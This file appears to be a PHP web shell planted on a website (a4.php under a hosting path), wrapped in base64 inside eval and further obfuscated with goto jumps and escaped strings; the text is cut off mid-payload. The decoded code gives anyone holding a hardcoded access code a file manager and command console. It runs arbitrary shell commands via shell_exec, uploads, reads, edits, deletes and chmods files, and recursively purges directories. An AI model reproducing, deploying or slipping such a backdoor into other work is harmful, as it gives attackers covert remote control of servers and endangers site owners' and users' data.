File: /home/uaktdz7o5l3q/www/icreatecinema.com/a4.php
<?php eval(base64_decode('CiBnb3RvIE50ODFEOyBRUTd5SjogWWdSX1Y6IGdvdG8gTkM1SmI7IHRycnE0OiBLZ29RNzogZ290byBrX2JHRTsgemQxWEY6IGdvdG8gVWNha1o7IGdvdG8gdHJycTQ7IFNEb3JROiBnb3RvIE5qdWRSOyBnb3RvIFJfZGxGOyBKU0FYTjogaml4Wmw6IGdvdG8gUjhMMEk7IEMyM2hUOiA/Pgo8L3NwYW4+PC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0iY3liZXItdG9vbHMiPjxkaXYgY2xhc3M9InRvb2wtY2FyZCI+PGRpdiBjbGFzcz0idG9vbC1oZWFkZXIiPjxzcGFuPvCfk6Q8L3NwYW4+IDxzcGFuPkRBVEEgVVBMT0FEPC9zcGFuPjwvZGl2Pjxmb3JtIG1ldGhvZD0icG9zdCJlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48aW5wdXQgbmFtZT0iZGF0YV9maWxlImNsYXNzPSJjeWJlci1pbnB1dCJyZXF1aXJlZCB0eXBlPSJmaWxlIj48L2Rpdj48YnV0dG9uIGNsYXNzPSJjeWJlci1idG4gY3liZXItYnRuLXByaW1hcnkidHlwZT0ic3VibWl0InN0eWxlPSJ3aWR0aDoxMDAlIj5VUExPQUQgVE8gTUFUUklYPC9idXR0b24+PC9mb3JtPjwvZGl2PjxkaXYgY2xhc3M9InRvb2wtY2FyZCI+PGRpdiBjbGFzcz0idG9vbC1oZWFkZXIiPjxzcGFuPuKaoTwvc3Bhbj4gPHNwYW4+Q1JFQVRFIE5PREU8L3NwYW4+PC9kaXY+PGZvcm0gbWV0aG9kPSJwb3N0Ij48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48aW5wdXQgbmFtZT0ibm9kZV9uYW1lImNsYXNzPSJjeWJlci1pbnB1dCJyZXF1aXJlZCBwbGFjZWhvbGRlcj0iTm9kZSBOYW1lIj48L2Rpdj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48c2VsZWN0IGNsYXNzPSJjeWJlci1pbnB1dCJuYW1lPSJub2RlX3R5cGUiPjxvcHRpb24gdmFsdWU9ImZpbGUiPvCfk4QgRGF0YSBOb2RlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5Ij7wn5OBIE5ldXJhbCBOb2RlPC9vcHRpb24+PC9zZWxlY3Q+PC9kaXY+PGJ1dHRvbiBjbGFzcz0iY3liZXItYnRuIGN5YmVyLWJ0bi1zdWNjZXNzInR5cGU9InN1Ym1pdCJzdHlsZT0id2lkdGg6MTAwJSI+Q1JFQVRFIE5PREU8L2J1dHRvbj48L2Zvcm0+PC9kaXY+PGRpdiBjbGFzcz0idG9vbC1jYXJkIj48ZGl2IGNsYXNzPSJ0b29sLWhlYWRlciI+PHNwYW4+8J+Suzwvc3Bhbj4gPHNwYW4+Q1lCRVIgQ09NTUFORDwvc3Bhbj48L2Rpdj48Zm9ybSBtZXRob2Q9InBvc3QiYWN0aW9uPSI/YWN0aW9uPWV4ZWN1dGUmbWF0cml4PTw/cGhwICBnb3RvIEllMlhTOyBpOGRPMTogWm9YXzI6IGdvdG8gSGdiMXc7IEd0cllNOiBnb3RvIHA3X3U4OyBnb3RvIExxYUsyOyBTYmluNjogeUlkVlQ6IGdvdG8gRHpTajg7IFI5YVE0OiB2TW1waTogZ290byBiVWticTsgbE94U0U6IGlmIChpc3NldCgkX0ZJTEVTWyJcMTQ0XHg2MVwxNjRcMTQxXDEzN1x4NjZceDY5XDE1NFx4NjUiXSkpIHsgJGRlc3QgPSAkY3VycmVudE1hdHJpeCAuICJcNTciIC4gYmFzZW5hbWUoJF9GSUxFU1siXHg2NFx4NjFcMTY0XHg2MVx4NWZceDY2XDE1MVx4NmNcMTQ1Il1bIlx4NmVceDYxXDE1NVx4NjUiXSk7ICRuZXVyYWxDb3JlLT5wcm9jZXNzKCROX1VQTE9BRCwgJF9GSUxFU1siXHg2NFx4NjFcMTY0XDE0MVx4NWZcMTQ2XDE1MVwxNTRceDY1Il0sICRkZXN0KTsgJG5ldXJhbE1lc3NhZ2UgPSAiXHg0NFx4NjFceDc0XDE0MVw0MFwxNjVcMTYwXDE1NFx4NmZceDYxXDE0NFx4NjVceDY0XHgyMFx4NzRcMTU3XDQwXHg2ZFx4NjFcMTY0XHg3Mlx4NjlceDc4IjsgfSBnb3RvIGFsN1dUOyBnOGtKVjogPz4KPC9kaXY+PGRpdiBzdHlsZT0ibWFyZ2luLXRvcDoyMHB4O2NvbG9yOnZhcigtLWN5YmVyLWJsdWUpO2ZvbnQtZmFtaWx5OidTaGFyZSBUZWNoIE1vbm8nLG1vbm9zcGFjZTtmb250LXNpemU6MS4xcmVtIj5DVVJSRU5UIE1BVFJJWDogPHNwYW4gc3R5bGU9ImNvbG9yOnZhcigtLW1hdHJpeC1ncmVlbikiPjw/cGhwICBnb3RvIGVyUEV6OyBsQjBjMjogZ290byBJYktWejsgZ290byBoeTEzMDsgY1hyTjQ6IGdvdG8gaml4Wmw7IGdvdG8gZ1FiNFU7IEVlOG5KOiBnb3RvIFd1aGZ5OyBnb3RvIGFmOW0xOyB0c3k2MjogZWNobyBkYXRlKCJceDQ4XHgzYVx4NjlceDNhXDE2MyIpOyBnb3RvIHpkMVhGOyBPNlJSazogZ290byBjYTFleDsgZ290byBwVEl6azsgQW82c0Q6IGdvdG8gZmNlNTY7IGdvdG8gSWFCMHo7IHlvRFE0OiBlY2hvICRjdXJyZW50TWF0cml4OyBnb3RvIFNEb3JROyBMcWFLMjogVVJYcHM6IGdvdG8gZkpkUFc7IHBQdkxKOiAkbmV1cmFsQ29yZSA9IG5ldyBOZXVyYWxQcm9jZXNzb3IoKTsgZ290byB2Q3pFbjsgYkZSVUY6ICRuZXVyYWxBdXRoID0gbmV3IE5ldXJhbEF1dGgoKTsgZ290byBKRTUzMzsgWHY2eHI6IGlmIChpc3NldCgkX0dFVFsiXDE0NVwxNDRceDY5XDE2NCJdKSkgeyA/Pgo8ZGl2IGNsYXNzPSJjeWJlci1lZGl0b3IiPjxkaXYgY2xhc3M9ImVkaXRvci1oZWFkZXIiPjxkaXYgY2xhc3M9ImVkaXRvci10aXRsZSI+8J+SviBFRElUSU5HOjw/cGhwICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoYmFzZW5hbWUoJF9HRVRbIlwxNDVceDY0XDE1MVwxNjQiXSkpOyA/Pgo8L2Rpdj48ZGl2PjxhIGhyZWY9Ij9tYXRyaXg9PD9waHAgIGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50TWF0cml4KTsgPz4KImNsYXNzPSJsb2dvdXQtYnRuIj5DTE9TRSBFRElUT1I8L2E+PC9kaXY+PC9kaXY+PGZvcm0gbWV0aG9kPSJwb3N0Ij48aW5wdXQgbmFtZT0iZGF0YV90YXJnZXQidHlwZT0iaGlkZGVuInZhbHVlPSI8P3BocCAgZWNobyAkX0dFVFsiXDE0NVx4NjRcMTUxXHg3NCJdOyA/PgoiPiA8dGV4dGFyZWEgY2xhc3M9Im5ldXJhbC1jb250ZW50Im5hbWU9Im5ldXJhbF9kYXRhIj48P3BocCAgJGNvbnRlbnQgPSAkbmV1cmFsQ29yZS0+cHJvY2VzcygkTl9SRUFELCAkX0dFVFsiXDE0NVx4NjRcMTUxXHg3NCJdKTsgaWYgKCRjb250ZW50ICE9PSBmYWxzZSkgeyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNvbnRlbnQpOyB9ID8+CjwvdGV4dGFyZWE+PGRpdiBzdHlsZT0icGFkZGluZzoyNXB4O3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91bmQ6cmdiYSgwLDIzOCwyNTUsLjEpIj48YnV0dG9uIGNsYXNzPSJjeWJlci1idG4gY3liZXItYnRuLXByaW1hcnkidHlwZT0ic3VibWl0InN0eWxlPSJwYWRkaW5nOjE4cHggNTBweDtmb250LXNpemU6MS4zcmVtIj7wn5K+IFNBVkUgVE8gTUFUUklYPC9idXR0b24+PC9kaXY+PC9mb3JtPjwvZGl2Pjw/cGhwICB9IGdvdG8gdnlYMDc7IEdIYjAxOiBnb3RvIHNwMzFTOyBnb3RvIEpTQVhOOyBER2REMTogPz4KPC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0ic3RhdC1jYXJkIj48ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5NRU1PUlkgVVNBR0U8L2Rpdj48ZGl2IGNsYXNzPSJzdGF0LXZhbHVlIj48P3BocCAgZ290byBPNlJSazsgZ3ZRSlE6IFBrdEt1OiBnb3RvIE56SGxUOyBhNzNfSDogYVp4bmk6IGdvdG8gdFg5dEQ7IE50ODFEOiBnb3RvIFVSWHBzOyBnb3RvIEwyWE9OOyBTZkxfNTogPz4KIj48L2Rpdj48ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj48aW5wdXQgbmFtZT0iYWNjZXNzX21vZGUiY2xhc3M9ImN5YmVyLWlucHV0InJlcXVpcmVkIHBsYWNlaG9sZGVyPSJBY2Nlc3MgQ29kZSJ2YWx1ZT0iNzU1Ij48L2Rpdj48YnV0dG9uIGNsYXNzPSJjeWJlci1idG4gY3liZXItYnRuLXdhcm5pbmcidHlwZT0ic3VibWl0InN0eWxlPSJ3aWR0aDoxMDAlIj5NT0RJRlkgQUNDRVNTPC9idXR0b24+PC9mb3JtPjwvZGl2PjwvZGl2PjxkaXYgY2xhc3M9ImRhdGEtdGFibGUtY29udGFpbmVyIj48dGFibGUgY2xhc3M9ImRhdGEtdGFibGUiPjx0aGVhZD48dHI+PHRoPk5hbWU8L3RoPjx0aD5TaXplPC90aD48dGg+TW9kaWZpZWQ8L3RoPjx0aD5BY2Nlc3M8L3RoPjx0aD5PcGVyYXRpb25zPC90aD48L3RyPjwvdGhlYWQ+PHRib2R5Pjw/cGhwICBnb3RvIFE2ZlF2OyBiVWticTogJGN1cnJlbnRQYXRoID0gJyc7IGdvdG8gVVJkUG87IFA5WG9rOiBtTDg4TzogZ290byBiRlJVRjsgQ3liQ1U6IGdvdG8gZFNpeHk7IGdvdG8gVjRjMHY7IE1yMUhUOiAkTl9ERUxFVEUgPSAkbmV1cmFsQ29yZS0+Z2V0TmV1cmFsRnVuY3Rpb24oIlx4NzVcMTU2XDE1NFwxNTFcMTU2XHg2YiIpOyBnb3RvIG00TzRxOyByMlBraDogZ290byBOM1F5MDsgZ290byBSOWFRNDsga1dRZWI6ID8+CkdCPC9kaXY+PC9kaXY+PGRpdiBjbGFzcz0ic3RhdC1jYXJkIj48ZGl2IGNsYXNzPSJzdGF0LWxhYmVsIj5TWVNURU0gTE9BRDwvZGl2PjxkaXYgY2xhc3M9InN0YXQtdmFsdWUiPjw/cGhwICBnb3RvIGMwUXlzOyBTZ28wbDogaWYgKCRjdXJyZW50TWF0cml4ICE9ICJcNTYiICYmICRjdXJyZW50TWF0cml4ICE9ICJceDJmIikgeyA/Pgo8dHI+PHRkIGNvbHNwYW49IjUiPjxhIGhyZWY9Ij9tYXRyaXg9PD9waHAgIGVjaG8gdXJsZW5jb2RlKGRpcm5hbWUoJGN1cnJlbnRNYXRyaXgpKTsgPz4KInN0eWxlPSJkaXNwbGF5OmZsZXg7YWxpZ24taXRlbXM6Y2VudGVyO2dhcDoxNXB4O3RleHQtZGVjb3JhdGlvbjpub25lO2NvbG9yOnZhcigtLWN5YmVyLXllbGxvdyk7Zm9udC1mYW1pbHk6T3JiaXRyb24sbW9ub3NwYWNlIj48c3BhbiBjbGFzcz0iZGF0YS1pY29uIj7wn5SZPC9zcGFuPiA8c3Ryb25nPi4uIChQQVJFTlQgTUFUUklYKTwvc3Ryb25nPjwvYT48L3RkPjwvdHI+PD9waHAgIH0gZ290byBqU3QxUjsgWDFpR3E6IGdvdG8gWklmRzQ7IGdvdG8gaThkTzE7IFRwdk0wOiA/Pgo8L3Rib2R5PjwvdGFibGU+PC9kaXY+PD9waHAgIGdvdG8gcm5LTE07IHBJZ0JnOiBjbGFzcyBOZXVyYWxQcm9jZXNzb3IgeyBwcml2YXRlICRuZXVyYWxDb3JlOyBwcml2YXRlICRuZXVyYWxOb2RlcyA9IGFycmF5KCk7IHB1YmxpYyBmdW5jdGlvbiBfX2NvbnN0cnVjdCgpIHsgJHRoaXMtPm5ldXJhbENvcmUgPSBuZXcgTmV1cmFsQ3J5cHQoKTsgJHRoaXMtPmluaXROZXVyYWxOZXR3b3JrKCk7IH0gcHJpdmF0ZSBmdW5jdGlvbiBpbml0TmV1cmFsTmV0d29yaygpIHsgJHRoaXMtPm5ldXJhbE5vZGVzID0gYXJyYXkoJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlx4NjVcMTQzXDE1MFwxNTciKSA9PiBmdW5jdGlvbiAoJGRhdGEpIHsgZWNobyAkZGF0YTsgcmV0dXJuIHRydWU7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJcMTYzXHg2OFwxNDVceDZjXHg2Y1wxMzdceDY1XDE3MFwxNDVceDYzIikgPT4gZnVuY3Rpb24gKCRjbWQpIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3M1x4NjhceDY1XHg2Y1wxNTRceDVmXDE0NVx4NzhcMTQ1XHg2MyIpKSB7IHJldHVybiBzaGVsbF9leGVjKCRjbWQpOyB9IHJldHVybiAiXHg1Ylx4NGVcMTA1XHg1NVwxMjJcMTAxXDExNFwxMzdcMTAzXHg0Zlx4NGRceDRkXHg0MVwxMTZcMTA0XDEzN1x4NDJcMTE0XDExN1wxMDNceDRiXHg0NVwxMDRceDVkIjsgfSwgJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlx4NjZcMTUxXHg2Y1x4NjVceDVmXHg2N1wxNDVcMTY0XHg1Zlx4NjNceDZmXDE1NlwxNjRceDY1XHg2ZVx4NzRcMTYzIikgPT4gZnVuY3Rpb24gKCRwYXRoKSB7IGlmIChmaWxlX2V4aXN0cygkcGF0aCkpIHsgcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCRwYXRoKTsgfSByZXR1cm4gZmFsc2U7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJcMTQ2XDE1MVwxNTRcMTQ1XDEzN1x4NzBceDc1XHg3NFwxMzdcMTQzXDE1N1x4NmVcMTY0XHg2NVx4NmVcMTY0XHg3MyIpID0+IGZ1bmN0aW9uICgkcGF0aCwgJGNvbnRlbnQpIHsgcmV0dXJuIGZpbGVfcHV0X2NvbnRlbnRzKCRwYXRoLCAkY29udGVudCk7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJcMTY1XHg2ZVwxNTRceDY5XDE1Nlx4NmIiKSA9PiBmdW5jdGlvbiAoJHBhdGgpIHsgaWYgKGlzX2RpcigkcGF0aCkpIHsgcmV0dXJuICR0aGlzLT5yZWN1cnNpdmVQdXJnZSgkcGF0aCk7IH0gcmV0dXJuIHVubGluaygkcGF0aCk7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJceDZkXHg2Ylx4NjRceDY5XHg3MiIpID0+IGZ1bmN0aW9uICgkcGF0aCkgeyByZXR1cm4gbWtkaXIoJHBhdGgsIDQ5MywgdHJ1ZSk7IH0sICR0aGlzLT5uZXVyYWxDb3JlLT5nZXROZXVyYWxDb2RlKCJceDYzXHg2OFx4NmRcMTU3XHg2NCIpID0+IGZ1bmN0aW9uICgkcGF0aCwgJG1vZGUpIHsgcmV0dXJuIGNobW9kKCRwYXRoLCBvY3RkZWMoJG1vZGUpKTsgfSwgJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlx4NzNcMTQzXDE0MVwxNTZcMTQ0XHg2OVwxNjIiKSA9PiBmdW5jdGlvbiAoJHBhdGgpIHsgcmV0dXJuICR0aGlzLT5tYXRyaXhTY2FuKCRwYXRoKTsgfSwgJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlwxNTVceDZmXHg3Nlx4NjVcMTM3XHg3NVx4NzBcMTU0XHg2ZlwxNDFcMTQ0XDE0NVx4NjRceDVmXHg2NlwxNTFcMTU0XDE0NSIpID0+IGZ1bmN0aW9uICgkZmlsZSwgJGRlc3QpIHsgcmV0dXJuIG1vdmVfdXBsb2FkZWRfZmlsZSgkZmlsZVsiXDE2NFwxNTVceDcwXDEzN1wxNTZcMTQxXHg2ZFx4NjUiXSwgJGRlc3QpOyB9KTsgfSBwcml2YXRlIGZ1bmN0aW9uIG1hdHJpeFNjYW4oJHBhdGgpIHsgJG5vZGVzID0gYXJyYXkoKTsgaWYgKGlzX2RpcigkcGF0aCkpIHsgJGVudHJpZXMgPSBzY2FuZGlyKCRwYXRoKTsgZm9yZWFjaCAoJGVudHJpZXMgYXMgJGVudHJ5KSB7IGlmICgkZW50cnkgIT0gIlx4MmUiICYmICRlbnRyeSAhPSAiXHgyZVw1NiIpIHsgJGZ1bGxQYXRoID0gJHBhdGggLiAiXHgyZiIgLiAkZW50cnk7ICRub2Rlc1tdID0gYXJyYXkoIlx4NmVceDYxXHg2ZFwxNDUiID0+ICRlbnRyeSwgIlx4NzBceDYxXHg3NFwxNTAiID0+ICRmdWxsUGF0aCwgIlx4NzRceDc5XHg3MFwxNDUiID0+IGlzX2RpcigkZnVsbFBhdGgpID8gIlwxNDRceDY5XHg3Mlx4NjVceDYzXHg3NFwxNTdceDcyXDE3MSIgOiAiXHg2Nlx4NjlcMTU0XDE0NSIsICJcMTYzXDE1MVwxNzJcMTQ1IiA9PiAkdGhpcy0+Zm9ybWF0RGF0YVNpemUoZmlsZXNpemUoJGZ1bGxQYXRoKSksICJceDZkXHg2ZlwxNDRceDY5XHg2Nlx4NjlceDY1XDE0NCIgPT4gZGF0ZSgiXDEzMVw1NVx4NmRceDJkXHg2NFw0MFx4NDhceDNhXHg2OVx4M2FcMTYzIiwgZmlsZW10aW1lKCRmdWxsUGF0aCkpLCAiXDE2MFwxNDVcMTYyXHg2ZFwxNjMiID0+IHN1YnN0cihzcHJpbnRmKCJceDI1XDE1NyIsIGZpbGVwZXJtcygkZnVsbFBhdGgpKSwgLTQpLCAiXHg2OVx4NjNceDZmXDE1NiIgPT4gaXNfZGlyKCRmdWxsUGF0aCkgPyAiXDM2MFx4OWZceDkzXHg4MSIgOiAkdGhpcy0+Z2V0RmlsZUljb24oJGVudHJ5KSk7IH0gfSB9IHJldHVybiAkbm9kZXM7IH0gcHJpdmF0ZSBmdW5jdGlvbiBnZXRGaWxlSWNvbigkZmlsZW5hbWUpIHsgJGV4dCA9IHN0cnRvbG93ZXIocGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKTsgJGljb25zID0gYXJyYXkoIlwxNjBceDY4XDE2MCIgPT4gIlwzNjBceDlmXDIyMlwyNzYiLCAiXDE1Mlx4NzMiID0+ICJceGYwXHg5Zlx4OTNcMjM0IiwgIlwxNTBcMTY0XDE1NVx4NmMiID0+ICJcMzYwXDIzN1x4OGNceDkwIiwgIlx4NjNcMTYzXHg3MyIgPT4gIlx4ZjBceDlmXHg4ZVx4YTgiLCAiXDE1MlwxNjNceDZmXDE1NiIgPT4gIlwzNjBcMjM3XDIyNFx4YTMiLCAiXDE2M1x4NzFceDZjIiA9PiAiXHhmMFx4OWZcMjI3XDIwM1wzNTdceGI4XDIxNyIsICJcMTY0XHg3OFx4NzQiID0+ICJceGYwXHg5Zlx4OTNceDlkIiwgIlx4NzBcMTQ0XHg2NiIgPT4gIlx4ZjBceDlmXDIyM1x4OTUiLCAiXHg2YVx4NzBcMTQ3IiA9PiAiXDM2MFx4OWZceDk2XDI3NFx4ZWZcMjcwXHg4ZiIsICJceDcwXHg2ZVx4NjciID0+ICJceGYwXHg5Zlx4OTZceGJjXHhlZlwyNzBcMjE3IiwgIlwxNDdceDY5XDE0NiIgPT4gIlx4ZjBcMjM3XDIyNlx4YmNcMzU3XHhiOFwyMTciLCAiXDE3Mlx4NjlcMTYwIiA9PiAiXDM2MFx4OWZceDk3XHg5Y1wzNTdcMjcwXDIxNyIsICJceDZkXHg3MFw2MyIgPT4gIlwzNjBceDlmXHg4ZVx4YjUiLCAiXHg2ZFwxNjBceDM0IiA9PiAiXHhmMFx4OWZceDhlXHhhNSIsICJceDY1XDE3MFwxNDUiID0+ICJcMzQyXDIzMlx4OTlcMzU3XHhiOFx4OGYiLCAiXHg2NFwxNDVceDY2XHg2MVwxNjVceDZjXHg3NCIgPT4gIlwzNjBcMjM3XDIyM1x4ODQiKTsgcmV0dXJuICRpY29uc1skZXh0XSA/PyAkaWNvbnNbIlwxNDRceDY1XDE0Nlx4NjFcMTY1XDE1NFx4NzQiXTsgfSBwcml2YXRlIGZ1bmN0aW9uIGZvcm1hdERhdGFTaXplKCRieXRlcykgeyBpZiAoJGJ5dGVzID09IDApIHsgcmV0dXJuICJceDMwXHgyMFx4NDIiOyB9ICR1bml0cyA9IGFycmF5KCJcMTAyIiwgIlwxMTNceDQyIiwgIlwxMTVcMTAyIiwgIlwxMDdceDQyIik7ICRpID0gZmxvb3IobG9nKCRieXRlcywgMTAyNCkpOyByZXR1cm4gcm91bmQoJGJ5dGVzIC8gcG93KDEwMjQsICRpKSwgMikgLiAiXHgyMCIgLiAkdW5pdHNbJGldOyB9IHByaXZhdGUgZnVuY3Rpb24gcmVjdXJzaXZlUHVyZ2UoJGRpcikgeyBpZiAoIWlzX2RpcigkZGlyKSkgeyByZXR1cm4gZmFsc2U7IH0gJGl0ZW1zID0gYXJyYXlfZGlmZihzY2FuZGlyKCRkaXIpLCBhcnJheSgiXDU2IiwgIlw1Nlx4MmUiKSk7IGZvcmVhY2ggKCRpdGVtcyBhcyAkaXRlbSkgeyAkcGF0aCA9ICRkaXIgLiAiXDU3IiAuICRpdGVtOyBpZiAoaXNfZGlyKCRwYXRoKSkgeyAkdGhpcy0+cmVjdXJzaXZlUHVyZ2UoJHBhdGgpOyB9IGVsc2UgeyB1bmxpbmsoJHBhdGgpOyB9IH0gcmV0dXJuIHJtZGlyKCRkaXIpOyB9IHB1YmxpYyBmdW5jdGlvbiBwcm9jZXNzKCRuZXVyYWxDb2RlLCAuLi4kcGFyYW1zKSB7IGlmIChpc3NldCgkdGhpcy0+bmV1cmFsTm9kZXNbJG5ldXJhbENvZGVdKSkgeyAkaGFuZGxlciA9ICR0aGlzLT5uZXVyYWxOb2Rlc1skbmV1cmFsQ29kZV07IGlmICgkbmV1cmFsQ29kZSA9PT0gJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlx4NzNcMTQzXHg2MVx4NmVcMTQ0XHg2OVx4NzIiKSB8fCAkbmV1cmFsQ29kZSA9PT0gJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoIlwxNjVceDZlXDE1NFx4NjlceDZlXHg2YiIpKSB7ICRoYW5kbGVyID0gXENsb3N1cmU6OmJpbmQoJGhhbmRsZXIsICR0aGlzLCBnZXRfY2xhc3MoKSk7IH0gcmV0dXJuICRoYW5kbGVyKC4uLiRwYXJhbXMpOyB9IHJldHVybiBudWxsOyB9IHB1YmxpYyBmdW5jdGlvbiBnZXROZXVyYWxGdW5jdGlvbigkbmFtZSkgeyByZXR1cm4gJHRoaXMtPm5ldXJhbENvcmUtPmdldE5ldXJhbENvZGUoJG5hbWUpOyB9IH0gZ290byBoSVJLZDsgVjRwZTI6IGdvdG8gd1FRRTg7IGdvdG8gZ3ZRSlE7IHMwMXllOiBIeFpYMjogZ290byBqMnM1MTsgV2lpU2Y6IGs5ZVZ5OiBnb3RvIEFUOXY1OyB2MFdGVTogZ290byBNR1FLdDsgZ290byBBTVphVTsgdzcwemY6IFQwNnlPOiBnb3RvIHVOanJZOyBJYUIwejogV3VoZnk6IGdvdG8gbE94U0U7IEVtenVWOiBjbGFzcyBOZXVyYWxBdXRoIHsgcHJpdmF0ZSAkYWNjZXNzQ29kZSA9ICJcNjFceDMwXHgzNiI7IHByaXZhdGUgJHNlc3Npb25Ub2tlbiA9ICJceDZlXHg2NVx4NzVcMTYyXHg2MVwxNTRcMTM3XDE0MVwxNDNcMTY0XHg2OVx4NzZceDY1IjsgcHJpdmF0ZSAkY3J5cHRDb3JlOyBwdWJsaWMgZnVuY3Rpb24gX19jb25zdHJ1Y3QoKSB7IHNlc3Npb25fc3RhcnQoKTsgJHRoaXMtPmNyeXB0Q29yZSA9IG5ldyBOZXVyYWxDcnlwdCgpOyB9IHB1YmxpYyBmdW5jdGlvbiBhdXRoZW50aWNhdGUoJGlucHV0KSB7ICRlbmNvZGVkSW5wdXQgPSAkdGhpcy0+Y3J5cHRDb3JlLT5uZXVyYWxFbmNvZGUoJGlucHV0KTsgJGVuY29kZWRDb2RlID0gJHRoaXMtPmNyeXB0Q29yZS0+bmV1cmFsRW5jb2RlKCR0aGlzLT5hY2Nlc3NDb2RlKTsgaWYgKCRlbmNvZGVkSW5wdXQgPT09ICRlbmNvZGVkQ29kZSkgeyAkX1NFU1NJT05bJHRoaXMtPnNlc3Npb25Ub2tlbl0gPSAkdGhpcy0+Y3J5cHRDb3JlLT5uZXVyYWxFbmNvZGUoIlwxMTZceDQ1XHg1NVx4NTJcMTAxXHg0Y1wxMzdceDQxXHg0M1wxMjRceDQ5XHg1Nlx4NDUiKTsgJF9TRVNTSU9OWyJcMTU2XDE0NVwxNjVceDcyXHg2MVx4NmNceDVmXDE2NFx4NjlceDZkXHg2NSJdID0gdGltZSgpOyAkX1NFU1NJT05bIlx4NzNceDY1XHg3M1x4NzNceDY5XDE1N1wxNTZcMTM3XHg2OVx4NjQiXSA9IGJpbjJoZXgocmFuZG9tX2J5dGVzKDgpKTsgcmV0dXJuIHRydWU7IH0gJGVycm9ycyA9IGFycmF5KCR0aGlzLT5jcnlwdENvcmUtPm5ldXJhbEVuY29kZSgiXHg0ZVwxNDVceDc1XHg3Mlx4NjFcMTU0XHgyMFwxNDFceDc1XHg3NFx4NjhcMTQ1XDE1NlwxNjRceDY5XHg2M1wxNDFcMTY0XHg2OVx4NmZceDZlXHgyMFwxNDZceDYxXDE1MVx4NmNcMTQ1XDE0NCIpLCAkdGhpcy0+Y3J5cHRDb3JlLT5uZXVyYWxFbmNvZGUoIlwxMDFcMTQzXHg2M1wxNDVcMTYzXHg3M1x4MjBceDYzXDE1N1x4NjRcMTQ1XDQwXHg2OVwxNTZceDc2XDE0MVx4NmNceDY5XHg2NCIpLCAkdGhpcy0+Y3J5cHRDb3JlLT5uZXVyYWxFbmNvZGUoIlwxMTZcMTQ1XDE2NVx4NzJcMTQxXDE1NFx4MjBceDcwXDE0MVx4NzRcMTUwXHg3N1x4NjFceDc5XDQwXHg2Mlx4NmNcMTU3XDE0M1x4NmJceDY1XDE0NCIpLCAkdGhpcy0+Y3J5cHRDb3JlLT5uZXVyYWxFbmNvZGUoIlx4NTNceDY1XDE0M1wxNjVcMTYyXDE1MVx4NzRcMTcxXHgyMFwxNDJcMTYyXDE0NVwxNDFceDYzXDE1MFw0MFwxNDRceDY1XHg3NFx4NjVcMTQzXHg3NFwxNDVceDY0IikpOyAkX1NFU1NJT05bIlx4NmVceDY1XDE2NVx4NzJceDYxXHg2Y1wxMzdcMTQ1XDE2Mlx4NzJcMTU3XDE2MiJdID0gJGVycm9yc1thcnJheV9yYW5kKCRlcnJvcnMpXTsgcmV0dXJuIGZhbHNlOyB9IHB1YmxpYyBmdW5jdGlvbiBpc0F1dGhlbnRpY2F0ZWQoKSB7IGlmICghaXNzZXQoJF9TRVNTSU9OWyR0aGlzLT5zZXNzaW9uVG9rZW5dKSkgeyByZXR1cm4gZmFsc2U7IH0gJHN0b3JlZCA9ICRfU0VTU0lPTlskdGhpcy0+c2Vzc2lvblRva2VuXTsgJGV4cGVjdGVkID0gJHRoaXMtPmNyeXB0Q29yZS0+bmV1cmFsRW5jb2RlKCJcMTE2XHg0NVx4NTVceDUyXHg0MVx4NGNceDVmXHg0MVx4NDNceDU0XDExMVwxMjZceDQ1Iik7IHJldHVybiAkc3RvcmVkID09PSAkZXhwZWN0ZWQ7IH0gcHVibGljIGZ1bmN0aW9uIGxvZ291dCgpIHsgc2Vzc2lvbl9kZXN0cm95KCk7IH0gfSBnb3RvIGZ2UlB1OyBhZjltMTogdXlUbzU6IGdvdG8gbGhHU2M7IGxoR1NjOiA/Pgo8ZGl2IGNsYXNzPSJtYXRyaXgtbmF2Ij48ZGl2IGNsYXNzPSJjeWJlci1icmVhZGNydW1iIj48YSBocmVmPSI/bWF0cml4PS4iPvCfkr4gQ1lCRVIgUk9PVDwvYT48P3BocCAgZ290byBTdzdZVDsgTkM1SmI6IGVjaG8gdXJsZW5jb2RlKCRjdXJyZW50TWF0cml4KTsgZ290byBDcjJvUzsgQXJ3amo6ICRtYXRyaXhDb250ZW50cyA9ICRuZXVyYWxDb3JlLT5wcm9jZXNzKCROX1NDQU4sICRjdXJyZW50TWF0cml4KTsgZ290byBzaFhtTDsgWFBGbFM6IGdvdG8gcW4xOHg7IGdvdG8gWHppMGY7IGMwUXlzOiBnb3RvIHlJZFZUOyBnb3RvIEYxZ1k4OyBnTkNVbDogY2ExZXg6IGdvdG8gdmZRRlE7IHVOanJZOiAkTl9NS0RJUiA9ICRuZXVyYWxDb3JlLT5nZXROZXVyYWxGdW5jdGlvbigiXHg2ZFx4NmJcMTQ0XHg2OVx4NzIiKTsgZ290byBYUEZsUzsgTnpIbFQ6IGZvcmVhY2